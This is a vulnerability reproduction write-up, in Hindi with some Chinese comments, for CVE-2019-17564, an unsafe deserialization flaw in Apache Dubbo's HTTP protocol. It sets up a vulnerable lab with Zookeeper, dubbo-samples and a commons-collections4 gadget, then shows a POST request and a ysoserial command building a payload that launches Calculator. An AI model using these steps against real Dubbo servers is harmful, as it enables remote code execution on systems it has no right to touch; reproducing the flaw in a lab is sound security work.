
CVE-2019-17564:Apache Dubbo डिसीरियलाइज़ेशन भेद्यता
Apache Dubbo एक उच्च-प्रदर्शन, हल्का, ओपन-सोर्स Java RPC फ्रेमवर्क है, जो तीन मुख्य क्षमताएँ प्रदान करता है: इंटरफ़ेस-उन्मुख रिमोट मेथड कॉल, स्मार्ट फॉल्ट टॉलरेंस और लोड बैलेंसिंग, तथा सेवाओं का स्वचालित पंजीकरण और खोज।
Apache Dubbo कई प्रोटोकॉल का समर्थन करता है, और आधिकारिक तौर पर Dubbo प्रोटोकॉल का उपयोग करने की अनुशंसा की जाती है। Apache Dubbo के HTTP प्रोटोकॉल में एक डिसीरियलाइज़ेशन भेद्यता (CVE-2019-17564) है। इस भेद्यता का मुख्य कारण यह है कि जब Apache Dubbo HTTP प्रोटोकॉल सक्षम होता है, तो Apache Dubbo मैसेज बॉडी को ठीक से संसाधित नहीं करता है, जिससे असुरक्षित डिसीरियलाइज़ेशन होता है; जब प्रोजेक्ट पैकेज में उपयोगी gadgets मौजूद होते हैं, तो यह रिमोट कोड एक्ज़ीक्यूशन का कारण बन सकता है।
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
1、चूँकि Dubbo को प्रारंभ करने के लिए Zookeeper पर निर्भरता की आवश्यकता होती है, इसलिए पहले Zookeeper स्थापित करें।
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# 将conf目录下的zoo_sample.cfg改名为zoo.cfg
mv zoo_sample.cfg zoo.cfg
# 进入bin目录启动zookeeper
./zkServer.sh start

2、GitHub से Dubbo प्रोजेक्ट प्राप्त करें और pom.xml को संशोधित करें।
git clone https://github.com/apache/dubbo-samples
# 进入到dubbo-samples-http目录中,修改pom.xml
vim pom.xml
Dubbo संस्करण को भेद्यता वाले संस्करण में बदलें।
निर्भरता जोड़ें और एक ट्रिगर करने योग्य gadget आयात करें; यहाँ commons-collections4-4.0 आयात किया गया है।
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

3、mvn से बिल्ड करें और Dubbo प्रारंभ करें।
mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

payload
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
paylaod
यहाँ ysoserial का उपयोग करके payload जनरेट किया गया है।
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
bp से अनुरोध भेजें।
